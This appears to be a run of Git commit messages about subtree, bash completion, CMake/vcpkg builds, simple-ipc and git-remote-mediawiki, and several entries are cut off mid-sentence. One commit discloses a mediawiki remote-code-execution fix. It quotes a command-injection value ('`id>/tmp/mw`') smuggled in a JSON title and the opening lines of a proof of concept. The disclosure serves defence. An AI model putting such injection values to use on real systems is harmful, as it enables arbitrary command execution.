__gitcomp automatically adds a suffix, but __gitcomp_nl and others
don't, we need to specify a space by default.
Can be tested with:
git config branch.autoSetupMe<tab>
This fix only works for versions of bash greater than 4.0, before that
"local sfx" creates an empty string, therefore the unset expansion
doesn't work. The same happens in zsh.
Therefore we don't add the test for that for now.
The correct fix for all shells requires semantic changes in __gitcomp,
but that can be done later.

Because of this, things like `git clone` do not work correctly (because cURL is

On Windows, both forward and backslash are valid separators. In

In 22d5507493 (subtree: don't fuss with PATH, 2021-04-27), `git
subtree` was broken thoroughly on Windows.
The reason is that it assumes Unix semantics, where `PATH` is
colon-separated, and it assumes that `$GIT_EXEC_PATH:` is a verbatim
prefix of `$PATH`. Neither are true, the latter in particular because
`GIT_EXEC_PATH` is a Windows-style path, while `PATH` is a Unix-style
path list.
Let's make extra certain that `$GIT_EXEC_PATH` and the first component
of `$PATH` refer to different entities before erroring out.
We do that by using the `test <path1> -ef <path2>` command that verifies
that the inode of `<path1>` and of `<path2>` is the same.
Sadly, this construct is non-portable, according to
https://pubs.opengroup.org/onlinepubs/009695399/utilities/test.html.
However, it does not matter in practice because we still first look
whether `$GIT_EXEC_PREFIX` is string-identical to the first component of
`$PATH`. This will give us the expected result everywhere but in Git for
Windows, and Git for Windows' own Bash _does_ handle the `-ef` operator.
Just in case that we _do_ need to show the error message _and_ are
running in a shell that lacks support for `-ef`, we simply suppress the
error output for that part.
This fixes https://github.com/git-for-windows/git/issues/3260

Some users have expressed interest in a more "batteries included" way of
building via CMake[1], and a big part of that is providing easier access
to tooling external tools.
A straightforward way to accomplish this is to make it as simple as
possible is to enable the generation of the compile_commands.json file,
which is supported by many tools such as: clang-tidy, clang-format,
sourcetrail, etc.
This does come with a small run-time overhead during the configuration
step (~6 seconds on my machine):
Time to configure with CMAKE_EXPORT_COMPILE_COMMANDS=TRUE
real 1m9.840s
user 0m0.031s
sys 0m0.031s
Time to configure with CMAKE_EXPORT_COMPILE_COMMANDS=FALSE
real 1m3.195s
user 0m0.015s
sys 0m0.015s
This seems like a small enough price to pay to make the project more
accessible to newer users. Additionally there are other large projects
like llvm [2] which has had this enabled by default for >6 years at the
time of this writing, and no real negative consequences that I can find
with my search-skills.
NOTE: That the compile_commands.json is currently produced only when
using the Ninja and Makefile generators. See The CMake documentation[3]
for more info.

When building on windows users have the option to use vcpkg to provide
the dependencies needed to compile. Previously, this was used only when
using the Visual Studio generator which was not ideal because:
- Not all users who want to use vcpkg use the Visual Studio
generators.
- Some versions of Visual Studio 2019 moved away from using the
VS 2019 generator by default, making it impossible for Visual
Studio to configure the project in the likely event that it couldn't
find the dependencies.
- Inexperienced users of CMake are very likely to get tripped up by
the errors caused by a lack of vcpkg, making the above bullet point
both annoying and hard to debug.
As such, let's make using vcpkg the default on windows. Users who want
to avoid using vcpkg can disable it by passing -DNO_VCPKG=TRUE.

Besides being a genuinely useful thing to do, this also just makes sense
and harmonizes which flags may be used when. `git subtree split
--rejoin` amounts to "automatically go ahead and do a `git subtree
merge` after doing the main `git subtree split`", so it's weird and
arbitrary that you can't pass `--squash` to `git subtree split --rejoin`
like you can `git subtree merge`. It's weird that `git subtree split
--rejoin` inherits `git subtree merge`'s `--message` but not `--squash`.
Reconcile the situation by just having `split --rejoin` actually just
call `merge` internally (or call `add` instead, as appropriate), so it
can get access to the full `merge` behavior, including `--squash`.

Just went through the docs looking for anything inaccurate or that can
be improved.
In the '-h' text, in the man page synopsis, and in the man page
description: Normalize the ordering of the list of sub-commands: 'add',
'merge', 'split', 'pull', 'push'. This allows us to kinda separate the
lower-level add/merge/split from the higher-level pull/push.
'-h' text:
- correction: Indicate that split's arg is optional.
- clarity: Emphasize that 'pull' takes the 'add'/'merge' flags.
man page:
- correction: State that all subcommands take options (it seemed to
indicate that only 'split' takes any options other than '-P').
- correction: 'split' only guarantees that the results are identical if
the flags are identical.
- correction: The flag is named '--ignore-joins', not '--ignore-join'.
- completeness: Clarify that 'push' always operates on HEAD, and that
'split' operates on HEAD if no local commit is given.
- clarity: In the description, when listing commands, repeat what their
arguments are. This way the reader doesn't need to flip back and
forth between the command description and the synopsis and the full
description to understand what's being said.
- clarity: In the <variables> used to give command arguments, give
slightly longer, descriptive names. Like <local-commit> instead of
just <commit>.
- clarity: Emphasize that 'pull' takes the 'add'/'merge' flags.
- style: In the synopsis, list options before the subcommand. This
makes things line up and be much more readable when shown
non-monospace (such as in `make html`), and also more closely matches
other man pages (like `git-submodule.txt`).
- style: Use the correct syntax for indicating the options ([<options>]
instead of [OPTIONS]).
- style: In the synopsis, separate 'pull' and 'push' from the other
lower-level commands. I think this helps readability.
- style: Code-quote things in prose that seem like they should be
code-quoted, like '.gitmodules', flags, or full commands.
- style: Minor wording improvements, like more consistent mood (many
of the command descriptions start in the imperative mood and switch
to the indicative mode by the end). That sort of thing.
- style: Capitalize "ID".
- style: Remove the "This option is only valid for XXX command" remarks
from each option, and instead rely on the section headings.

Currently, debug output (triggered by passing '-d') and progress output
stomp on each other. The debug output is just streamed as lines to
stderr, and the progress output is sent to stderr as '%s\r'. When
writing to a file, it is awkward to read and difficult to distinguish
between the debug output and a progress line. When writing to a
terminal the debug lines hide progress lines.
So, when '-d' has been passed, spit out progress as 'progress: %s\n',

The main argument parser goes ahead and tries to parse revs to make
things simpler for the sub-command implementations. But, it includes
enough special cases for different sub-commands. And it's difficult
having having to think about "is this info coming from an argument, or a
global variable?". So the main argument parser's effort to make things
"simpler" ends up just making it more confusing and complicated.
Begone with the 'revs' global variable; parse 'rev=$(...)' as needed in
individual 'cmd_*' functions.
Begone with the 'default' global variable. Its would-be value is
knowable just from which function we're in.

Scripts needing to fuss with with adding $(git --exec-prefix) PATH
before loading git-sh-setup is a thing of the past. As far as I can
tell, it's been a thing of the past since since Git v1.2.0 (2006-02-12),
or more specifically, since 77cb17e940 (Exec git programs without using
PATH, 2006-01-10). However, it stuck around in contrib scripts and in
third-party scripts for long enough that it wasn't unusual to see.
Originally `git subtree` didn't fuss with PATH, but when people
(including the original subtree author) had problems, because it was a
common thing to see, it seemed that having subtree fuss with PATH was a
reasonable solution.
Here is an abridged history of fussing with PATH in subtree:
2987e6add3 (Add explicit path of git installation by 'git --exec-path', Gianluca Pacchiella, 2009-08-20)
As pointed out by documentation, the correct use of 'git-sh-setup' is
using $(git --exec-path) to avoid problems with not standard
installations.
-. git-sh-setup
+. $(git --exec-path)/git-sh-setup
33aaa697a2 (Improve patch to use git --exec-path: add to PATH instead, Avery Pennarun, 2009-08-26)
If you (like me) are using a modified git straight out of its source
directory (ie. without installing), then --exec-path isn't actually correct.
Add it to the PATH instead, so if it is correct, it'll work, but if it's
not, we fall back to the previous behaviour.
-. $(git --exec-path)/git-sh-setup
+PATH=$(git --exec-path):$PATH
+. git-sh-setup
9c632ea29c ((Hopefully) fix PATH setting for msysgit, Avery Pennarun, 2010-06-24)
Reported by Evan Shaw. The problem is that $(git --exec-path) includes a
'git' binary which is incompatible with the one in /usr/bin; if you run it,
it gives you an error about libiconv2.dll.
+OPATH=$PATH
PATH=$(git --exec-path):$PATH
. git-sh-setup
+PATH=$OPATH # apparently needed for some versions of msysgit
df2302d774 (Another fix for PATH and msysgit, Avery Pennarun, 2010-06-24)
Evan Shaw tells me the previous fix didn't work. Let's use this one
instead, which he says does work.
This fix is kind of wrong because it will run the "correct" git-sh-setup
*after* the one in /usr/bin, if there is one, which could be weird if you
have multiple versions of git installed. But it works on my Linux and his
msysgit, so it's obviously better than what we had before.

-PATH=$(git --exec-path):$PATH

-PATH=$OPATH # apparently needed for some versions of msysgit
First of all, I disagree with Gianluca's reading of the documentation:
- I haven't gone back to read what the documentation said in 2009, but
in my reading of the 2021 documentation is that it includes "$(git
--exec-path)/" in the synopsis for illustrative purposes, not to say
it's the proper way.
- After being executed by `git`, the git exec path should be the very
first entry in PATH, so it shouldn't matter.
- None of the scripts that are part of git do it that way.
But secondly, the root reason for fussing with PATH seems to be that
Avery didn't know that he needs to set GIT_EXEC_PATH if he's going to
use git from the source directory without installing.
And finally, Evan's issue is clearly just a bug in msysgit. I assume
that msysgit has since fixed the issue, and also msysgit has been
deprecated for 6 years now, so let's drop the workaround for it.
So, remove the line fussing with PATH. However, since subtree *is* in
'contrib/' and it might get installed in funny ways by users
after-the-fact, add a sanity check to the top of the script, checking
that it is installed correctly.

"$*" is for when you want to concatenate the args together,
whitespace-separated; and "$@" is for when you want them to be separate
strings.
There are several places in subtree that erroneously use $@ when
concatenating args together into an error message.
For instance, if the args are argv[1]="dead" and argv[2]="beef", then
the line
die "You must provide exactly one revision. Got: '$@'"
surely intends to call 'die' with the argument
argv[1]="You must provide exactly one revision. Got: 'dead beef'"
however, because the line used $@ instead of $*, it will actually call
'die' with the arguments
argv[1]="You must provide exactly one revision. Got: 'dead"
argv[2]="beef'"
This isn't a big deal, because 'die' concatenates its arguments together
anyway (using "$*"). But that doesn't change the fact that it was a
mistake to use $@ instead of $*, even though in the end $@ still ended
up doing the right thing.

Suport for Git versions older than 1.7.0 (older than February 2010) was
nice to have when git-subtree lived out-of-tree. But now that it lives
in git.git, it's not necessary to keep around. While it's technically
in contrib, with the standard 'git' packages for common systems
(including Arch Linux and macOS) including git-subtree, it seems
vanishingly likely to me that people are separately installing
git-subtree from git.git alongside an older 'git' install (although it
also seems vanishingly likely that people are still using >11 year old
git installs).
Not that there's much reason to remove it either, it's not much code,
and none of my changes depend on a newer git (to my knowledge, anyway;
I'm not actually testing against older git). I just figure it's an easy
piece of fat to trim, in the journey to making the whole thing easier to

As far as I can tell, this test isn't actually testing anything, because
someone forgot to tack on `--name-only` to `git log`. This seems to
have been the case since the test was first written, back in fa16ab36ad
("test.sh: make sure no commit changes more than one file at a time.",
2009-04-26), unless `git log` used to do that by default and didn't need
the flag back then?
Convincing myself that it's not actually testing anything was tricky,
the code is a little hard to reason about. It can be made a lot simpler
if instead of trying to parse all of the info from a single `git log`,
we're OK calling `git log` from inside of a loop. And it's my opinion
that tests are not the place for clever optimized code.
So, fix and simplify the test, so that it's actually testing something
and is simpler to reason about.

It's unclear what the purpose of t7900-subtree.sh's
`subtree_test_create_repo` helper function is. It wraps test-lib.sh's,
`test_create_repo` but follows that up by setting log.date=relative. Why
does it set log.date=relative?
My first guess was that at one point the tests required that, but no
longer do, and that the function is now vestigial. I even wrote a patch
to get rid of it and was moments away from `git send-email`ing it.
However, by chance when looking for something else in the history, I
discovered the true reason, from e7aac44ed2 (contrib/subtree: ignore
log.date configuration, 2015-07-21). It's testing that setting
log.date=relative doesn't break `git subtree`, as at one point in the past
that did break `git subtree`.
So, add a comment about this, to avoid future such confusion.

With the introduction of the $__git_cmd_idx variable in e94fb44042
(git-completion.bash: pass $__git_subcommand_idx from __git_main(),
2021-03-24), completion functions were able to know the index at which
the git command is listed, allowing them to skip options that are given
to the underlying git itself, not the corresponding command (e.g.
`-C asdf` in `git -C asdf branch`).
While most of the changes here are self-explanatory, some bear further
explanation.
For the __git_find_on_cmdline() and __git_find_last_on_cmdline() pair of
functions, these functions are only ever called in the context of a git
command completion function. These functions will only care about words
after the command so we can safely ignore the words before this.
For _git_worktree(), this change is technically a no-op (once the
__git_find_last_on_cmdline change is also applied). It was in poor style
to have hard-coded on the index right after `worktree`. In case
`git worktree` were to ever learn to accept options, the current
situation would be inflexible.

Our CMake configuration generates not only build definitions, but also
install definitions: After building Git using `msbuild git.sln`, the
built artifacts can be installed via `msbuild INSTALL.vcxproj`.
To specify _where_ the files should be installed, the
`-DCMAKE_INSTALL_PREFIX=<path>` option can be used when running CMake.
However, this process would really only install the files that were just
built. On Windows, we need more than that: We also need the `.dll` files
of the dependencies (such as libcurl). The `vcpkg` ecosystem, which we
use to obtain those dependencies, can be asked to install said `.dll`
files really easily, so let's do that.
This requires more than just the built `vcpkg` artifacts in the CI build
definition; We now clone the `vcpkg` repository so that the relevant
CMake scripts are available, in particular the ones related to defining
the toolchain.

We are about to add support for installing the `.dll` files of Git's
dependencies (such as libcurl) in the CMake configuration. The `vcpkg`
ecosystem from which we get said dependencies makes that relatively
easy: simply turn on `X_VCPKG_APPLOCAL_DEPS_INSTALL`.
However, current `vcpkg` introduces a limitation if one does that:
While it is totally cool with CMake to specify multiple targets within
one invocation of `install(TARGETS ...) (at least according to
https://cmake.org/cmake/help/latest/command/install.html#command:install),
`vcpkg`'s parser insists on a single target per `install(TARGETS ...)`
invocation.
Well, that's easily accomplished: Let's feed the targets individually to
the `install(TARGETS ...)` function in a `foreach()` look.
This also has the advantage that we do not have to manually cull off the
two entries from the `${PROGRAMS_BUILT}` array before scheduling the
remainder to be installed into `libexec/git-core`. Instead, we iterate
through the array and decide for each entry where it wants to go.

The completion for 'git stash' has not changed in a major way since it
was converted from shell script to builtin. Now that it's a builtin, we
can take advantage of the groundwork laid out by parse-options and use
the generated options.
Rewrite _git_stash() to take use __gitcomp_builtin() to generate
completions for subcommands.
The main `git stash` command does not take any arguments directly. If no
subcommand is given, it automatically defaults to `git stash push`. This
means that we can simplify the logic for when no subcommands have been
given yet. We only have to offer subcommand completions when we're
completing a non-option after "stash".
One area that this patch could improve upon is that the `git stash list`
command accepts log-options. It would be nice if the completion for this
were unified with that of _git_log() and _git_show() which would allow
completions to be provided for options such as `--pretty` but that is
outside the scope of this patch.

Many completion functions perform hardcoded comparisons with $cword.
This fails in the case where the main git command is given arguments

Even _git_worktree(), which uses __git_find_on_cmdline(), could still
fail. With something like `git -C add worktree move<TAB>`, the
subcommand would be incorrectly identified as "add" instead of "move".
Assign $__git_subcommand_idx in __git_main(), where the git subcommand
is actually found and the corresponding completion function is called.

Create Unix domain socket based implementation of "simple-ipc".
A set of `ipc_client` routines implement a client library to connect
to an `ipc_server` over a Unix domain socket, send a simple request,
and receive a single response. Clients use blocking IO on the socket.
A set of `ipc_server` routines implement a thread pool to listen for
and concurrently service client connections.
The server creates a new Unix domain socket at a known location. If a
socket already exists with that name, the server tries to determine if
another server is already listening on the socket or if the socket is
dead. If socket is busy, the server exits with an error rather than
stealing the socket. If the socket is dead, the server creates a new
one and starts up.
If while running, the server detects that its socket has been stolen
by another server, it automatically exits.

Create a wrapper class for `unix_stream_listen()` that uses a ".lock"
lockfile to create the unix domain socket in a race-free manner.
Unix domain sockets have a fundamental problem on Unix systems because
they persist in the filesystem until they are deleted. This is
independent of whether a server is actually listening for connections.
Well-behaved servers are expected to delete the socket when they
shutdown. A new server cannot easily tell if a found socket is
attached to an active server or is leftover cruft from a dead server.
The traditional solution used by `unix_stream_listen()` is to force
delete the socket pathname and then create a new socket. This solves
the latter (cruft) problem, but in the case of the former, it orphans
the existing server (by stealing the pathname associated with the
socket it is listening on).
We cannot directly use a .lock lockfile to create the socket because
the socket is created by `bind(2)` rather than the `open(2)` mechanism
used by `tempfile.c`.
As an alternative, we hold a plain lockfile ("<path>.lock") as a
mutual exclusion device. Under the lock, we test if an existing
socket ("<path>") is has an active server. If not, we create a new
socket and begin listening. Then we use "rollback" to delete the
lockfile in all cases.
This wrapper code conceptually exists at a higher-level than the core
unix_stream_connect() and unix_stream_listen() routines that it
consumes. It is isolated in a wrapper class for clarity.

Stash entries can be made with untracked files via
`git stash push --include-untracked`. However, because the untracked
files are stored in the third parent of the stash entry and not the
stash entry itself, running `git stash show` does not include the
untracked files as part of the diff.
With --include-untracked, untracked paths, which are recorded in the
third-parent if it exists, are shown in addition to the paths that have
modifications between the stash base and the working tree in the stash.
It is possible to manually craft a malformed stash entry where duplicate
untracked files in the stash entry will mask tracked files. We detect
and error out in that case via a custom unpack_trees() callback:
stash_worktree_untracked_merge().
Also, teach stash the --only-untracked option which only shows the
untracked files of a stash entry. This is similar to `git show stash^3`
but it is nice to provide a convenient abstraction for it so that users
do not have to think about the underlying implementation.

Long time ago when the _git_complete helper was introduced, _gitk was
replaced with __gitk_main, and a placeholder for backwards compatibility
pointing to __git_wrap_main_gitk was left in place.
When "__git_complete gitk __gitk_main" was called, that created the
__git_wrap__gitk_main helper, which is just basically "__git_func_wrap
__gitk_main" plus `complete` options.
Unfortunately the commit b0a4b2d257 (completion: add support for
backwards compatibility, 2012-05-19) missed a previous instance of a
call to _gitk in _git_gitk
So, basically we had __git_wrap__git_main -> __git_func_wrap __git_main ->
__git_complete_command gitk -> _git_gitk -> _gitk ->
__git_wrap__gitk_main -> __git_func_wrap __gitk_main -> __gitk_main.
There was never any need to call __git_func_wrap twice. Since _git_gitk
is always called inside the wrapper, it can call __gitk_main directly.
And then, in commit 441ecdab37 (completion: bash: remove old compat
wrappers, 2020-10-27) _gitk was removed, which triggers the following
error:
_git_gitk:9: command not found: _gitk
Let's call the correct function: __gitk_main.

The idea of having CMake support in Git's source tree is to enable
contributors on Windows to start contributing with little effort. To
that end, we just added some sensible defaults that will let users open
the worktree in Visual Studio and start building.
This expects the dependencies (such as zlib) to be available already,
though. If they are not available, we expect the user to run
`compat/vcbuild/vcpkg_install.bat`.
Rather than requiring this step to be manual, detect the situation and
run it as part of the CMake configuration step.
Note that this obviously only applies to the scenario when we want to
compile in Visual Studio (i.e. with MS Visual C), not with GCC.
Therefore, we guard this new code block behind the `MSVC` conditional.
This concludes our journey to make it as effortless as possible to start
developing Git in Visual Studio: all the developer needs to do is to
clone Git's repository, open the worktree via `File>Open>Folder...` and
wait for CMake to finish configuring.

"diff-highlight" (in contrib/) had a logic to flush its output upon
seeing a blank line but the way it detected a blank line was broken.
* jk/diff-highlight-blank-match-fix:
diff-highlight: correctly match blank lines for flush
We try to flush the output from diff-highlight whenever we see a blank
line. That lets you see the output for each commit as soon as it is
generated, even if Git is still chugging away at a diff, or traversing
to find the next commit.
However, our "blank line" match checks length($_). That won't ever be
true, because we haven't chomped the line ending. As a result, we never
flush. Instead, let's use a simple regex which handles line endings in
with the end-of-line marker.
This has been broken since the initial version in 927a13fe87 (contrib:
add diff highlight script, 2011-10-18). Probably nobody noticed because:
- most output is big enough, or comes fast enough, that it flushes
anyway. And it can be difficult to notice the difference between
"show a commit, then pause" and "pause, then show two commits". I
only noticed because I was viewing "git log" output on a repo with a
very slow textconv filter.
- if stdout is going to the terminal (and not another pager like
less), then the flush isn't necessary. So any manual testing would
show it appearing to work.
You can easily see the difference with something like:
echo '* diff=slow' >>.gitattributes
git -c diff.slow.textconv='sleep 1; cat' \
-c pager.log='diff-highlight | less' \
log -p
That should generate one commit every second or so (more if it touches
multiple files), but without this patch it waits for many seconds before
generating several pages of output.

Remove the use of run_git_unquoted() completely with a use of "sh -c"

I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).
But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between

Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'

These tests consistently fail for me, and were failing before any of
the changes in this series. As noted in [1] there are some known
intermittent test failures. Let's mark these as failing so we can have
an otherwise passing test suite.
We need to add an extra test_path_is_file() here because since

test_cmp has errored out with a BUG if one of the test arguments
doesn't exist, without that the test would still fail even without
test_expect_failure().

Replace the use of screen-scraping in the test environment
installation with simply invoking MediaWiki's command-line
installer.
The old code being deleted here relied on our own hardcoded POST
parameter names & the precise layout of MediaWiki's GUI installer at a
given version. Somewhere between [1] and now this inevitably broke.
As far as I can tell there was never a reason for this screen-scraping
hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI
installer was introduced in 1.17.0. Perhaps the authors weren't aware
of it, or this code was written for an older version.
This allows us to simply delete our own template version of
LocalSettings.php, it'll instead be provided by the CLI installer.
While we're at it let's fix a few things, these changes weren't
practical to split up (I'd need to fix code I was about to mostly
delete)
* Use MediaWiki's own defaults where possible, e.g. before we'd name
the database "wikidb.sqlite", now we'll simply use whatever name
MediaWiki prefers (currently my_wiki.sqlite) by only supplying the
directory name the SQLite file will be dropped into, not the full
path.
* Put all of our database & download assets into a new "mediawiki/"
folder. This makes it easier to reason about as the current &
template "backup" database the tests keep swapping around live
next to each other.
This'll also prevent future potential breakage as there isn't a
single SQLite database. MediaWiki also creates a job queue
database and a couple of cache databases. In practice it seems we
got away with not resetting these when we reset the main database,
but it's the sort of thing that could break in the future (reset,
main store doesn't have the article, but the cache does).
* The "delete" function now only deletes the MediaWiki installation
& database, not the downloaded .tar.gz file. This makes us
friendlier to a developer on a slow connection.

Replace the use of the "open" pragma with a three-arg open in the
places that actually care about UTF-8, while leaving those that
don't (the config parsing).
Unlike the previous "encoding" pragma change this isn't needed for
compatibility with anything. I just think it's easier to read code
that has localized effects than code that changes global settings.

The use of the encoding pragma has been a hard error since Perl
5.18 (released in 2013).
What this script really wanted to do was to decode @ARGV and write out
some files with the UTF-8 PerlIO layer. Let's just do that explicitly
instead.
This explicitly does not retain the previous UTF-8 semantics of the
script. The "encoding" pragma had all sorts of global effects (program
text being UTF-8, stdin/stdout etc.). But the only thing that was
required was decoding @ARGV and writing out UTF-8 data, which is
currently facilitated with the "open" pragma.

Change code that used an ad-hoc "diff -b" invocation to use our
test_cmp helper instead. I'm also changing the order of arguments to
be the standard "test_cmp <expected> <actual>".
Using test_cmp has different semantics since the "-b" option to diff
causes it to ignore whitespace, but in these cases the use of "-b" was
just meaningless boilerplate. The desired semantics here are to
compare "git log" lines with know-good data, so we don't want to

The code in vcs-svn was started in 2010 as an attempt to build a
remote-helper for interacting with svn repositories (as opposed to
git-svn). However, we never got as far as shipping a mature remote
helper, and the last substantive commit was e99d012a6b in 2012.
We do have a git-remote-testsvn, and it is even installed as part of
"make install". But given the name, it seems unlikely to be used by
anybody (you'd have to explicitly "git clone testsvn::$url", and there
have been zero mentions of that on the mailing list since 2013, and even
that includes the phrase "you might need to hack a bit to get it working
properly"[1]).
We also ship contrib/svn-fe, which builds on the vcs-svn work. However,
it does not seem to build out of the box for me, as the link step misses
some required libraries for using libgit.a. Curiously, the original
build breakage bisects for me to eff80a9fd9 (Allow custom "comment
char", 2013-01-16), which seems unrelated. There was an attempt to fix
it in da011cb0e7 (contrib/svn-fe: fix Makefile, 2014-08-28), but on my
system that only switches the error message.
So it seems like the result is not really usable by anybody in practice.
It would be wonderful if somebody wanted to pick up the topic again, and
potentially it's worth carrying around for that reason. But the flip
side is that people doing tree-wide operations have to deal with this
code. And you can see the list with (replace "HEAD" with this commit as
appropriate):
{
echo "--"
git diff-tree --diff-filter=D -r --name-only HEAD^ HEAD
} |
git log --no-merges --oneline e99d012a6bc.. --stdin
which shows 58 times somebody had to deal with the code, generally due
to a compile or test failure, or a tree-wide style fix or API change.
Let's drop it and let anybody who wants to pick it up do so by
resurrecting it from the git history.
As a bonus, this also reduces the size of a stripped installation of Git
from 21MB to 19MB.

There's no real reason for credential helpers to be separate binaries. I
did them this way originally under the notion that helper don't _need_
to be part of Git, and so can be built totally separately (and indeed,
the ones in contrib/credential are). But the ones in our main Makefile
build on libgit.a, and the resulting binaries are reasonably large.
We can slim down our total disk footprint by just making them builtins.
This reduces the size of:
make strip install
from 29MB to 24MB on my Debian system.
Note that credential-cache can't operate without support for Unix
sockets. Currently we just don't build it at all when NO_UNIX_SOCKETS is
set. We could continue that with conditionals in the Makefile and our
list of builtins. But instead, let's build a dummy implementation that
dies with an informative message. That has two advantages:
- it's simpler, because the conditional bits are all kept inside
the credential-cache source
- a user who is expecting it to exist will be told _why_ they can't
use it, rather than getting the "credential-cache is not a git
command" error which makes it look like the Git install is broken.
Note that our dummy implementation does still respond to "-h" in order
to appease t0012 (and this may be a little friendlier for users, as
well).

This patch adds support for Visual Studio and Clang builds
The minimum required version of CMake is upgraded to 3.15 because
this version offers proper support for Clang builds on Windows.
Libintl is not searched for when building with Visual Studio or Clang
because there is no binary compatible version available yet.
NOTE: In the link options invalidcontinue.obj has to be included.
The reason for this is because by default, Windows calls abort()'s
instead of setting errno=EINVAL when invalid arguments are passed to
standard functions.
This commit explains it in detail:
4b623d80f7
On Windows the default generator is Visual Studio,so for Visual Studio
builds do this:
cmake `relative-path-to-srcdir`
NOTE: Visual Studio generator is a multi config generator, which means
that Debug and Release builds can be done on the same build directory.
For Clang builds do this:
On bash
CC=clang cmake `relative-path-to-srcdir` -G Ninja
-DCMAKE_BUILD_TYPE=[Debug or Release]
On cmd

This patch provides an alternate way to test git using ctest.
CTest ships with CMake, so there is no additional dependency being
introduced.
To perform the tests with ctest do this after building:
ctest -j[number of jobs]
NOTE: -j is optional, the default number of jobs is 1
Each of the jobs does this:
cd t/ && sh t[something].sh
The reason for using CTest is that it logs the output of the tests
in a neat way, which can be helpful during diagnosis of failures.
After the tests have run ctest generates three log files located in
`build-directory`/Testing/Temporary/
These log files are:
CTestCostData.txt:
This file contains the time taken to complete each test.
LastTestsFailed.log:
This log file contains the names of the tests that have failed in the
run.
LastTest.log:
This log file contains the log of all the tests that have run.
A snippet of the file is given below.

git-prompt includes the current branch, a bunch of single character
mini-state displayers, and some much longer in-progress state
notifications. The current branch is always shown. The single
character mini-state displayers are all off by default (they are not
self explanatory) but each has an environment variable for turning it
on. The in-progress state notifications provide no configuration
options for turning them off, and can be up to 15 characters long (e.g.
"|REBASE (12/18)" or "|CHERRY-PICKING").
The single character mini-state tends to be used for things like "Do you
have any stashes in refs/stash?" or "Are you ahead or behind of
upstream?". These are things which users can take advantage of but do
not affect most normal git operations. The in-progress states, by
contrast, suggest the user needs to interact differently and may also
prevent some normal operations from succeeding (e.g. git switch may show
an error instead of switching branches).
Sparsity is like the in-progress states in that it suggests a
fundamental different interaction with the repository (many of the files
from the repository are not present in your working copy!). A few
commits ago added sparsity information to wt_longstatus_print_state(),
grouping it with other in-progress state displays. We do similarly here
with the prompt and show the extra state, by default, with an extra
|SPARSE
This state can be present simultaneously with the in-progress states, in
which case it will appear before the other states; for example,
(branchname|SPARSE|REBASE 6/10)
The reason for showing the "|SPARSE" substring before other states is to
emphasize those other states. Sparsity is probably not going to change
much within a repository, while temporary operations will. So we want
the state changes related to temporary operations to be listed last, to
make them appear closer to where the user types and make them more
likely to be noticed.
The fact that sparsity isn't just cached metadata or additional
information is what leads us to show it more similarly to the
in-progress states, but the fact that sparsity is not transient like the
in-progress states might cause some users to want an abbreviated
notification of sparsity state or perhaps even be able to turn it off.
Allow GIT_PS1_COMPRESSSPARSESTATE to be set to request that it be
shortened to a single character ('?'), and GIT_PS1_OMITSPARSESTATE to be
set to request that sparsity state be omitted from the prompt entirely.

At the moment, the recommended way to configure Git's builds is to
simply run `make`. If that does not work, the recommended strategy is to
look at the top of the `Makefile` to see whether any "Makefile knob" has
to be turned on/off, e.g. `make NO_OPENSSL=YesPlease`.
Alternatively, Git also has an `autoconf` setup which allows configuring
builds via `./configure [<option>...]`.
Both of these options are fine if the developer works on Unix or Linux.
But on Windows, we have to jump through hoops to configure a build
(read: we force the user to install a full Git for Windows SDK, which
occupies around two gigabytes (!) on disk and downloads about three
quarters of a gigabyte worth of Git objects).
The build infrastructure for Git is written around being able to run
make, which is not supported natively on Windows.
To help Windows developers a CMake build script is introduced here.
With a working support CMake, developers on Windows need only install
CMake, configure their build, load the generated Visual Studio solution
and immediately start modifying the code and build their own version of
Git. Likewise, developers on other platforms can use the convenient GUI
tools provided by CMake to configure their build.
So let's start building CMake support for Git.
This is only the first step, and to make it easier to review, it only
allows for configuring builds on the platform that is easiest to
configure for: Linux.
The CMake script checks whether the headers are present(eg. libgen.h),
whether the functions are present(eg. memmem), whether the funtions work
properly (eg. snprintf) and generate the required compile definitions
for the platform. The script also searches for the required libraries,
if it fails to find the required libraries the respective executables
won't be built.(eg. If libcurl is not found then git-remote-http won't
be built). This will help building Git easier.
With a CMake script an out of source build of git is possible resulting
in a clean source tree.
Note: this patch asks for the minimum version v3.14 of CMake (which is
not all that old as of time of writing) because that is the first
version to offer a platform-independent way to generate hardlinks as
part of the build. This is needed to generate all those hardlinks for
the built-in commands of Git.

The command line completion script (in contrib/) tried to complete
"git stash -p" as if it were "git stash push -p", but it was too
aggressive and also affected "git stash show -p", which has been
corrected.
* vs/complete-stash-show-p-fix:
completion: don't override given stash subcommand with -p
The --orphan option is used to create a local branch which is detached
from the current history. In git switch, it always resets to the empty
tree, and thus the only completion we can provide is a branch name.
